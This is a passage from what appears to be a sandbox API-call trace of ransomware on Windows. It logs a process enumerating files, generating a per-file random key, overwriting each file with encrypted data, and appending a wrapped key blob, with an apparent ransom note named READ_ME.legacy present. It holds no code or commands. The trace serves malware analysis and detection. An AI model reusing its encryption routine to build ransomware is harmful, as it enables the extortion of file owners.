pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.426] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504779320", dwFileAttributes=0x80) returned 1 [0193.427] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504779320" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\1504779320"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf8 [0193.427] GetFileSizeEx (in: hFile=0x1bf8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7378) returned 1 [0193.428] ReadFile (in: hFile=0x1bf8, lpBuffer=0x30c9010, nNumberOfBytesToRead=0x1cd2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9010*, lpNumberOfBytesRead=0x2e1f9bc*=0x1cd2, lpOverlapped=0x0) returned 1 [0193.434] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=-7378, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.434] WriteFile (in: hFile=0x1bf8, lpBuffer=0x60cbf0*, nNumberOfBytesToWrite=0x1cd2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1cd2, lpOverlapped=0x0) returned 1 [0193.434] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1cd2 [0193.435] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.435] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.435] WriteFile (in: hFile=0x1bf8, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.435] WriteFile (in: hFile=0x1bf8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.435] CloseHandle (hObject=0x1bf8) returned 1 [0193.436] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.436] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.436] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504773410", dwFileAttributes=0x80) returned 1 [0193.437] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504773410" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\1504773410"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf8 [0193.438] GetFileSizeEx (in: hFile=0x1bf8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7184) returned 1 [0193.438] ReadFile (in: hFile=0x1bf8, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x1c10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c10, lpOverlapped=0x0) returned 1 [0193.449] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=-7184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.449] WriteFile (in: hFile=0x1bf8, lpBuffer=0x30c9010*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c10, lpOverlapped=0x0) returned 1 [0193.449] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c10 [0193.449] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.449] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.449] WriteFile (in: hFile=0x1bf8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.449] WriteFile (in: hFile=0x1bf8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.449] CloseHandle (hObject=0x1bf8) returned 1 [0193.451] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c100a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb0a11d08, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xfbe4b7e2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4bb0 [0193.451] FindNextFileW (in: hFindFile=0x30d4bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c100a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb0a11d08, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xfbe4b7e2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.451] FindNextFileW (in: hFindFile=0x30d4bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ef72bf7, ftCreationTime.dwHighDateTime=0x1d327c3, ftLastAccessTime.dwLowDateTime=0x7ef72bf7, ftLastAccessTime.dwHighDateTime=0x1d327c3, ftLastWriteTime.dwLowDateTime=0x7efbf1f1, ftLastWriteTime.dwHighDateTime=0x1d327c3, nFileSizeHigh=0x0, nFileSizeLow=0x5bec, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504779872", cAlternateFileName="150477~2")) returned 1 [0193.451] FindNextFileW (in: hFindFile=0x30d4bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7730335, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7730335, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa77a2b7b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x5bba, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1506438227", cAlternateFileName="150643~2")) returned 1 [0193.451] FindNextFileW (in: hFindFile=0x30d4bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c362eb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c4f3536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7fe6fe6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.451] FindNextFileW (in: hFindFile=0x30d4bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c362eb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c362eb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xb7fe6fe6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.451] FindNextFileW (in: hFindFile=0x30d4bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe4b7e2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe4b7e2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe4b7e2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.451] FindNextFileW (in: hFindFile=0x30d4bb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe4b7e2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe4b7e2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe4b7e2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.451] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.451] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.452] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.452] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bfc [0193.452] GetFileSizeEx (in: hFile=0x1bfc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.452] ReadFile (in: hFile=0x1bfc, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.452] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.453] WriteFile (in: hFile=0x1bfc, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.453] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.453] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.453] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.453] WriteFile (in: hFile=0x1bfc, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.454] WriteFile (in: hFile=0x1bfc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.454] CloseHandle (hObject=0x1bfc) returned 1 [0193.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.455] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.455] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bfc [0193.456] GetFileSizeEx (in: hFile=0x1bfc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.456] ReadFile (in: hFile=0x1bfc, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.456] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.456] WriteFile (in: hFile=0x1bfc, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.456] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.456] WriteFile (in: hFile=0x1bfc, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.457] WriteFile (in: hFile=0x1bfc, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.457] CloseHandle (hObject=0x1bfc) returned 1 [0193.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.458] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1506438227", dwFileAttributes=0x80) returned 1 [0193.460] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1506438227" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\1506438227"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bfc [0193.460] GetFileSizeEx (in: hFile=0x1bfc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=23482) returned 1 [0193.460] ReadFile (in: hFile=0x1bfc, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x5bba, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x5bba, lpOverlapped=0x0) returned 1 [0193.461] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=-23482, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.461] WriteFile (in: hFile=0x1bfc, lpBuffer=0x30dcc00*, nNumberOfBytesToWrite=0x5bba, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dcc00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5bba, lpOverlapped=0x0) returned 1 [0193.462] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5bba [0193.462] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.462] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.462] WriteFile (in: hFile=0x1bfc, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.462] WriteFile (in: hFile=0x1bfc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.462] CloseHandle (hObject=0x1bfc) returned 1 [0193.468] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.469] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.469] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1504779872", dwFileAttributes=0x80) returned 1 [0193.470] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1504779872" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\1504779872"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bfc [0193.470] GetFileSizeEx (in: hFile=0x1bfc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=23532) returned 1 [0193.470] ReadFile (in: hFile=0x1bfc, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x5bec, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x5bec, lpOverlapped=0x0) returned 1 [0193.482] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=-23532, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.482] WriteFile (in: hFile=0x1bfc, lpBuffer=0x30dcc30*, nNumberOfBytesToWrite=0x5bec, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dcc30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5bec, lpOverlapped=0x0) returned 1 [0193.483] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5bec [0193.483] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.483] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.483] WriteFile (in: hFile=0x1bfc, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.483] WriteFile (in: hFile=0x1bfc, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.483] CloseHandle (hObject=0x1bfc) returned 1 [0193.485] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x464fb0dc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xaa1a6676, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfbe4b7e2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4ef0 [0193.485] FindNextFileW (in: hFindFile=0x30d4ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x464fb0dc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xaa1a6676, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfbe4b7e2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.485] FindNextFileW (in: hFindFile=0x30d4ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cda2619, ftCreationTime.dwHighDateTime=0x1d327c0, ftLastAccessTime.dwLowDateTime=0x1cda2619, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x1cdeead5, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x909e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504778419", cAlternateFileName="150477~2")) returned 1 [0193.485] FindNextFileW (in: hFindFile=0x30d4ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9373faf, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xa9373faf, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa940ca9b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x19d78, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1506430069", cAlternateFileName="150643~1")) returned 1 [0193.485] FindNextFileW (in: hFindFile=0x30d4ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, 